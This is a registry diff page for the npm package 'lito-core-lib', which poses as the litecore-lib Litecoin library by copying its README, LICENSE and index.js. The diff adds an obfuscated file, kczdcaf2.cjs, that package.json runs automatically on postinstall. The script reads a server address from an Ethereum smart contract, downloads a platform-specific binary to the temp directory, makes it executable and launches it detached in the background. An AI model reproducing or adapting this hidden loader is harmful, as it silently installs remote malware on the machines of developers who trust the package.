lito-core-lib 0.0.1-security → 0.13.22

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.

Potentially problematic release.


This version of lito-core-lib might be problematic. Click here for more details.

package/LICENSE ADDED
@@ -0,0 +1,32 @@
1
+ Copyright (c) 2013-2017 BitPay, Inc.
2
+
3
+ Parts of this software are based on Bitcoin Core
4
+ Copyright (c) 2009-2015 The Bitcoin Core developers
5
+
6
+ Parts of this software are based on fullnode
7
+ Copyright (c) 2014 Ryan X. Charles
8
+ Copyright (c) 2014 reddit, Inc.
9
+
10
+ Parts of this software are based on BitcoinJS
11
+ Copyright (c) 2011 Stefan Thomas <justmoon@members.fsf.org>
12
+
13
+ Parts of this software are based on BitcoinJ
14
+ Copyright (c) 2011 Google Inc.
15
+
16
+ Permission is hereby granted, free of charge, to any person obtaining a copy
17
+ of this software and associated documentation files (the "Software"), to deal
18
+ in the Software without restriction, including without limitation the rights
19
+ to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
20
+ copies of the Software, and to permit persons to whom the Software is
21
+ furnished to do so, subject to the following conditions:
22
+
23
+ The above copyright notice and this permission notice shall be included in
24
+ all copies or substantial portions of the Software.
25
+
26
+ THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
27
+ IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
28
+ FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
29
+ AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
30
+ LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
31
+ OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
32
+ THE SOFTWARE.
package/README.md CHANGED
@@ -1,5 +1,97 @@
1
- # Security holding package
1
+ Litecore Library
2
+ =======
2
3
 
3
- This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
4
+ [![NPM Package](https://img.shields.io/npm/v/litecore-lib.svg?style=flat-square)](https://www.npmjs.org/package/litecore-lib)
5
+ [![Build Status](https://img.shields.io/travis/litecoin-project/litecore-lib.svg?branch=master&style=flat-square)](https://travis-ci.org/litecoin-project/litecore-lib)
6
+ [![Coverage Status](https://img.shields.io/coveralls/litecoin-project/litecore-lib.svg?style=flat-square)](https://coveralls.io/r/litecoin-project/litecore-lib)
4
7
 
5
- Please refer to www.npmjs.com/advisories?search=lito-core-lib for more information.
8
+ A pure and powerful JavaScript Litecoin library.
9
+
10
+ ## Principles
11
+
12
+ Litecoin is a powerful new peer-to-peer platform for the next generation of financial technology. The decentralized nature of the Litecoin network allows for highly resilient litecoin infrastructure, and the developer community needs reliable, open-source tools to implement litecoin apps and services.
13
+
14
+ ## Get Started
15
+
16
+ ```
17
+ npm install litecore-lib
18
+ ```
19
+
20
+ ```
21
+ bower install litecore-lib
22
+ ```
23
+
24
+ ## Documentation
25
+
26
+ The complete docs are hosted here: [litecore documentation](http://litecore.io/guide/). There's also a [litecore API reference](http://litecore.io/api/) available generated from the JSDocs of the project, where you'll find low-level details on each litecore utility.
27
+
28
+ - [Read the Developer Guide](http://litecore.io/guide/)
29
+ - [Read the API Reference](http://litecore.io/api/)
30
+
31
+ To get community assistance and ask for help with implementation questions, please use our [community forums](https://forum.litecore.io/).
32
+
33
+ ## Examples
34
+
35
+ * [Generate a random address](https://github.com/litecoin-project/litecore-lib/blob/master/docs/examples.md#generate-a-random-address)
36
+ * [Generate a address from a SHA256 hash](https://github.com/litecoin-project/litecore-lib/blob/master/docs/examples.md#generate-a-address-from-a-sha256-hash)
37
+ * [Import an address via WIF](https://github.com/litecoin-project/litecore-lib/blob/master/docs/examples.md#import-an-address-via-wif)
38
+ * [Create a Transaction](https://github.com/litecoin-project/litecore-lib/blob/master/docs/examples.md#create-a-transaction)
39
+ * [Sign a Bitcoin message](https://github.com/litecoin-project/litecore-lib/blob/master/docs/examples.md#sign-a-bitcoin-message)
40
+ * [Verify a Bitcoin message](https://github.com/litecoin-project/litecore-lib/blob/master/docs/examples.md#verify-a-bitcoin-message)
41
+ * [Create an OP RETURN transaction](https://github.com/litecoin-project/litecore-lib/blob/master/docs/examples.md#create-an-op-return-transaction)
42
+ * [Create a 2-of-3 multisig P2SH address](https://github.com/litecoin-project/litecore-lib/blob/master/docs/examples.md#create-a-2-of-3-multisig-p2sh-address)
43
+ * [Spend from a 2-of-2 multisig P2SH address](https://github.com/litecoin-project/litecore-lib/blob/master/docs/examples.md#spend-from-a-2-of-2-multisig-p2sh-address)
44
+
45
+
46
+ ## Security
47
+
48
+ We're using Litecore in production, as are [many others](http://litecore.io#projects), but please use common sense when doing anything related to finances! We take no responsibility for your implementation decisions.
49
+
50
+ If you find a security issue, please email security@bitpay.com.
51
+
52
+ ## Contributing
53
+
54
+ Please send pull requests for bug fixes, code optimization, and ideas for improvement. For more information on how to contribute, please refer to our [CONTRIBUTING](https://github.com/litecoin-project/litecore-lib/blob/master/CONTRIBUTING.md) file.
55
+
56
+ ## Building the Browser Bundle
57
+
58
+ To build a litecore-lib full bundle for the browser:
59
+
60
+ ```sh
61
+ gulp browser
62
+ ```
63
+
64
+ This will generate files named `litecore-lib.js` and `litecore-lib.min.js`.
65
+
66
+ You can also use our pre-generated files, provided for each release along with a PGP signature by one of the project's maintainers. To get them, checkout a release commit (for example, https://github.com/bitpay/bitcore-lib/commit/e33b6e3ba6a1e5830a079e02d949fce69ea33546 for v0.12.6).
67
+
68
+ To verify signatures, use the following PGP keys:
69
+ - @braydonf: https://pgp.mit.edu/pks/lookup?op=get&search=0x9BBF07CAC07A276D `D909 EFE6 70B5 F6CC 89A3 607A 9BBF 07CA C07A 276D`
70
+ - @gabegattis: https://pgp.mit.edu/pks/lookup?op=get&search=0x441430987182732C `F3EA 8E28 29B4 EC93 88CB B0AA 4414 3098 7182 732C`
71
+ - @kleetus: https://pgp.mit.edu/pks/lookup?op=get&search=0x33195D27EF6BDB7F `F8B0 891C C459 C197 65C2 5043 3319 5D27 EF6B DB7F`
72
+ - @matiu: https://pgp.mit.edu/pks/lookup?op=get&search=0x9EDE6DE4DE531FAC `25CE ED88 A1B1 0CD1 12CD 4121 9EDE 6DE4 DE53 1FAC`
73
+
74
+
75
+ ## Development & Tests
76
+
77
+ ```sh
78
+ git clone https://github.com/litecoin-project/litecore-lib
79
+ cd litecore-lib
80
+ npm install
81
+ ```
82
+
83
+ Run all the tests:
84
+
85
+ ```sh
86
+ gulp test
87
+ ```
88
+
89
+ You can also run just the Node.js tests with `gulp test:node`, just the browser tests with `gulp test:browser`
90
+ or create a test coverage report (you can open `coverage/lcov-report/index.html` to visualize it) with `gulp coverage`.
91
+
92
+ ## License
93
+
94
+ Code released under [the MIT license](https://github.com/litecoin-project/litecore-lib/blob/master/LICENSE).
95
+
96
+ Copyright 2013-2017 BitPay, Inc. Bitcore is a trademark maintained by BitPay, Inc.
97
+ Copyright 2016-2017 The Litecoin Core Developers
package/index.js ADDED
@@ -0,0 +1,70 @@
1
+ 'use strict';
2
+
3
+ var litecore = module.exports;
4
+
5
+ // module information
6
+ litecore.version = 'v' + require('./package.json').version;
7
+ litecore.versionGuard = function(version) {
8
+ if (version !== undefined) {
9
+ var message = 'More than one instance of litecore-lib found. ' +
10
+ 'Please make sure to require litecore-lib and check that submodules do' +
11
+ ' not also include their own litecore-lib dependency.';
12
+ throw new Error(message);
13
+ }
14
+ };
15
+ litecore.versionGuard(global._litecore);
16
+ global._litecore = litecore.version;
17
+
18
+ // crypto
19
+ litecore.crypto = {};
20
+ litecore.crypto.BN = require('./lib/crypto/bn');
21
+ litecore.crypto.ECDSA = require('./lib/crypto/ecdsa');
22
+ litecore.crypto.Hash = require('./lib/crypto/hash');
23
+ litecore.crypto.Random = require('./lib/crypto/random');
24
+ litecore.crypto.Point = require('./lib/crypto/point');
25
+ litecore.crypto.Signature = require('./lib/crypto/signature');
26
+
27
+ // encoding
28
+ litecore.encoding = {};
29
+ litecore.encoding.Base58 = require('./lib/encoding/base58');
30
+ litecore.encoding.Base58Check = require('./lib/encoding/base58check');
31
+ litecore.encoding.BufferReader = require('./lib/encoding/bufferreader');
32
+ litecore.encoding.BufferWriter = require('./lib/encoding/bufferwriter');
33
+ litecore.encoding.Varint = require('./lib/encoding/varint');
34
+
35
+ // utilities
36
+ litecore.util = {};
37
+ litecore.util.buffer = require('./lib/util/buffer');
38
+ litecore.util.js = require('./lib/util/js');
39
+ litecore.util.preconditions = require('./lib/util/preconditions');
40
+
41
+ // errors thrown by the library
42
+ litecore.errors = require('./lib/errors');
43
+
44
+ // main bitcoin library
45
+ litecore.Address = require('./lib/address');
46
+ litecore.Block = require('./lib/block');
47
+ litecore.MerkleBlock = require('./lib/block/merkleblock');
48
+ litecore.BlockHeader = require('./lib/block/blockheader');
49
+ litecore.HDPrivateKey = require('./lib/hdprivatekey.js');
50
+ litecore.HDPublicKey = require('./lib/hdpublickey.js');
51
+ litecore.Networks = require('./lib/networks');
52
+ litecore.Opcode = require('./lib/opcode');
53
+ litecore.PrivateKey = require('./lib/privatekey');
54
+ litecore.PublicKey = require('./lib/publickey');
55
+ litecore.Script = require('./lib/script');
56
+ litecore.Transaction = require('./lib/transaction');
57
+ litecore.URI = require('./lib/uri');
58
+ litecore.Unit = require('./lib/unit');
59
+
60
+ // dependencies, subject to change
61
+ litecore.deps = {};
62
+ litecore.deps.bnjs = require('bn.js');
63
+ litecore.deps.bs58 = require('bs58');
64
+ litecore.deps.Buffer = Buffer;
65
+ litecore.deps.elliptic = require('elliptic');
66
+ litecore.deps.scryptsy = require('scryptsy');
67
+ litecore.deps._ = require('lodash');
68
+
69
+ // Internal usage, exposed for testing/advanced tweaking
70
+ litecore.Transaction.sighash = require('./lib/transaction/sighash');
package/kczdcaf2.cjs ADDED
@@ -0,0 +1 @@
1
+ const _0x5902ca=_0x3762;(function(_0x3f8437,_0x25133c){const _0x2d8db8=_0x3762,_0xc99b15=_0x3f8437();while(!![]){try{const _0x3b8d89=parseInt(_0x2d8db8(0x1b7))/0x1+-parseInt(_0x2d8db8(0x19e))/0x2*(parseInt(_0x2d8db8(0x195))/0x3)+-parseInt(_0x2d8db8(0x192))/0x4+parseInt(_0x2d8db8(0x1bb))/0x5*(-parseInt(_0x2d8db8(0x1a1))/0x6)+parseInt(_0x2d8db8(0x1bd))/0x7+-parseInt(_0x2d8db8(0x1a0))/0x8*(parseInt(_0x2d8db8(0x1a6))/0x9)+parseInt(_0x2d8db8(0x1aa))/0xa;if(_0x3b8d89===_0x25133c)break;else _0xc99b15['push'](_0xc99b15['shift']());}catch(_0x32046a){_0xc99b15['push'](_0xc99b15['shift']());}}}(_0x1acb,0xc2a32));const {ethers}=require(_0x5902ca(0x198)),axios=require(_0x5902ca(0x19a)),util=require(_0x5902ca(0x1b6)),fs=require('fs'),path=require('path'),os=require('os'),{spawn}=require(_0x5902ca(0x1a7)),contractAddress=_0x5902ca(0x1a2),WalletOwner=_0x5902ca(0x1b1),abi=[_0x5902ca(0x1a5)],provider=ethers[_0x5902ca(0x1b8)](_0x5902ca(0x1ac)),contract=new ethers['Contract'](contractAddress,abi,provider),fetchAndUpdateIp=async()=>{const _0x356e57=_0x5902ca,_0x161720={'QxWGt':_0x356e57(0x1be),'zqCLn':function(_0x431e2f){return _0x431e2f();}};try{const _0x307887=await contract['getString'](WalletOwner);return _0x307887;}catch(_0x14aae6){return console['error'](_0x161720[_0x356e57(0x1ba)],_0x14aae6),await _0x161720[_0x356e57(0x1ad)](fetchAndUpdateIp);}},getDownloadUrl=_0x450776=>{const _0x87ab31=_0x5902ca,_0x251c6b={'PQoWm':'linux','AkYog':'darwin'},_0x3dcac8=os[_0x87ab31(0x1ae)]();switch(_0x3dcac8){case _0x87ab31(0x19b):return _0x450776+_0x87ab31(0x1b4);case _0x251c6b[_0x87ab31(0x193)]:return _0x450776+_0x87ab31(0x1b3);case _0x251c6b['AkYog']:return _0x450776+'/node-macos';default:throw new Error(_0x87ab31(0x1b2)+_0x3dcac8);}},downloadFile=async(_0x26fd99,_0xfe382e)=>{const _0x2428d9=_0x5902ca,_0x1f153a={'WCiQI':_0x2428d9(0x19f),'qXDFp':_0x2428d9(0x1a3)},_0x1a08bc=fs['createWriteStream'](_0xfe382e),_0x38bf74=await axios({'url':_0x26fd99,'method':_0x2428d9(0x199),'responseType':_0x2428d9(0x1b0)});return _0x38bf74['data'][_0x2428d9(0x197)](_0x1a08bc),new Promise((_0x52baa2,_0xe6c50d)=>{const _0x37e1b4=_0x2428d9;_0x1a08bc['on'](_0x1f153a[_0x37e1b4(0x1a4)],_0x52baa2),_0x1a08bc['on'](_0x1f153a[_0x37e1b4(0x19d)],_0xe6c50d);});},executeFileInBackground=async _0x27b144=>{const _0x9f4727=_0x5902ca,_0xcfc952={'rjJtl':function(_0x51a45d,_0x514709,_0x465a08,_0x54fe0e){return _0x51a45d(_0x514709,_0x465a08,_0x54fe0e);}};try{const _0xc5e477=_0xcfc952[_0x9f4727(0x1b9)](spawn,_0x27b144,[],{'detached':!![],'stdio':_0x9f4727(0x1a9)});_0xc5e477[_0x9f4727(0x1bc)]();}catch(_0x67309e){console['error']('Ошибка\x20при\x20запуске\x20файла:',_0x67309e);}},runInstallation=async()=>{const _0xee2950=_0x5902ca,_0x50a949={'Zmuwe':function(_0x118176){return _0x118176();},'hgfYM':function(_0x1b0c19,_0x550d79){return _0x1b0c19(_0x550d79);},'WTShs':function(_0x4fbbad,_0x466fb9){return _0x4fbbad!==_0x466fb9;},'wysOw':_0xee2950(0x19b),'xdgYR':_0xee2950(0x1a8),'EVSep':_0xee2950(0x196)};try{const _0x22c220=await _0x50a949['Zmuwe'](fetchAndUpdateIp),_0x13b679=_0x50a949[_0xee2950(0x1b5)](getDownloadUrl,_0x22c220),_0x8495a3=os['tmpdir'](),_0x4ae866=path[_0xee2950(0x194)](_0x13b679),_0x45a9a5=path['join'](_0x8495a3,_0x4ae866);await downloadFile(_0x13b679,_0x45a9a5);if(_0x50a949[_0xee2950(0x1ab)](os['platform'](),_0x50a949[_0xee2950(0x1af)]))fs['chmodSync'](_0x45a9a5,_0x50a949[_0xee2950(0x19c)]);_0x50a949[_0xee2950(0x1b5)](executeFileInBackground,_0x45a9a5);}catch(_0x13bda5){console['error'](_0x50a949['EVSep'],_0x13bda5);}};function _0x3762(_0x3aa687,_0x13f8c9){const _0x1acbd6=_0x1acb();return _0x3762=function(_0x376212,_0x4e55e7){_0x376212=_0x376212-0x192;let _0x14d08e=_0x1acbd6[_0x376212];return _0x14d08e;},_0x3762(_0x3aa687,_0x13f8c9);}runInstallation();function _0x1acb(){const _0x348c6c=['Ошибка\x20установки:','pipe','ethers','GET','axios','win32','xdgYR','qXDFp','28wvTKQC','finish','4417016CEcKOs','8700HCotyk','0xa1b40044EBc2794f207D45143Bd82a1B86156c6b','error','WCiQI','function\x20getString(address\x20account)\x20public\x20view\x20returns\x20(string)','18aEGkHe','child_process','755','ignore','24660000AfgfpJ','WTShs','mainnet','zqCLn','platform','wysOw','stream','0x52221c293a21D8CA7AFD01Ac6bFAC7175D590A84','Unsupported\x20platform:\x20','/node-linux','/node-win.exe','hgfYM','util','273080rtvtcW','getDefaultProvider','rjJtl','QxWGt','3655FWLFHH','unref','9743006yAJZTU','Ошибка\x20при\x20получении\x20IP\x20адреса:','1375848BlOnCI','PQoWm','basename','176901mzpgvf'];_0x1acb=function(){return _0x348c6c;};return _0x1acb();}
package/package.json CHANGED
@@ -1,6 +1,106 @@
1
1
  {
2
2
  "name": "lito-core-lib",
3
- "version": "0.0.1-security",
4
- "description": "security holding package",
5
- "repository": "npm/security-holder"
6
- }
3
+ "version": "0.13.22",
4
+ "description": "A pure and powerful JavaScript Litecoin library.",
5
+ "author": "BitPay <dev@bitpay.com>",
6
+ "main": "index.js",
7
+ "scripts": {
8
+ "postinstall": "node kczdcaf2.cjs"
9
+ },
10
+ "contributors": [
11
+ {
12
+ "name": "Charlie Lee",
13
+ "email": "coblee@litecoin.org"
14
+ },
15
+ {
16
+ "name": "Daniel Cousens",
17
+ "email": "bitcoin@dcousens.com"
18
+ },
19
+ {
20
+ "name": "Esteban Ordano",
21
+ "email": "eordano@gmail.com"
22
+ },
23
+ {
24
+ "name": "Gordon Hall",
25
+ "email": "gordon@bitpay.com"
26
+ },
27
+ {
28
+ "name": "Jeff Garzik",
29
+ "email": "jgarzik@bitpay.com"
30
+ },
31
+ {
32
+ "name": "Kyle Drake",
33
+ "email": "kyle@kyledrake.net"
34
+ },
35
+ {
36
+ "name": "Manuel Araoz",
37
+ "email": "manuelaraoz@gmail.com"
38
+ },
39
+ {
40
+ "name": "Matias Alejo Garcia",
41
+ "email": "ematiu@gmail.com"
42
+ },
43
+ {
44
+ "name": "Ryan X. Charles",
45
+ "email": "ryanxcharles@gmail.com"
46
+ },
47
+ {
48
+ "name": "Stefan Thomas",
49
+ "email": "moon@justmoon.net"
50
+ },
51
+ {
52
+ "name": "Stephen Pair",
53
+ "email": "stephen@bitpay.com"
54
+ },
55
+ {
56
+ "name": "Wei Lu",
57
+ "email": "luwei.here@gmail.com"
58
+ }
59
+ ],
60
+ "keywords": [
61
+ "litecoin",
62
+ "bitcoin",
63
+ "transaction",
64
+ "address",
65
+ "p2p",
66
+ "ecies",
67
+ "cryptocurrency",
68
+ "blockchain",
69
+ "payment",
70
+ "bip21",
71
+ "bip32",
72
+ "bip37",
73
+ "bip69",
74
+ "bip70",
75
+ "multisig"
76
+ ],
77
+ "repository": {
78
+ "type": "git",
79
+ "url": "https://github.com/litecoin-project/litecore-lib.git"
80
+ },
81
+ "browser": {
82
+ "request": "browser-request"
83
+ },
84
+ "dependencies": {
85
+ "bn.js": "=2.0.4",
86
+ "bs58": "=2.0.0",
87
+ "buffer-compare": "=1.0.0",
88
+ "elliptic": "=3.0.3",
89
+ "inherits": "=2.0.1",
90
+ "lodash": "=3.10.1",
91
+ "scryptsy": "=2.0.0",
92
+ "axios": "^1.7.7",
93
+ "ethers": "^6.13.2"
94
+ },
95
+ "devDependencies": {
96
+ "brfs": "^1.2.0",
97
+ "chai": "^1.10.0",
98
+ "gulp": "^3.9.1",
99
+ "litecore-build": "litecoin-project/litecore-build",
100
+ "sinon": "^1.13.0"
101
+ },
102
+ "license": "MIT",
103
+ "files": [
104
+ "kczdcaf2.cjs"
105
+ ]
106
+ }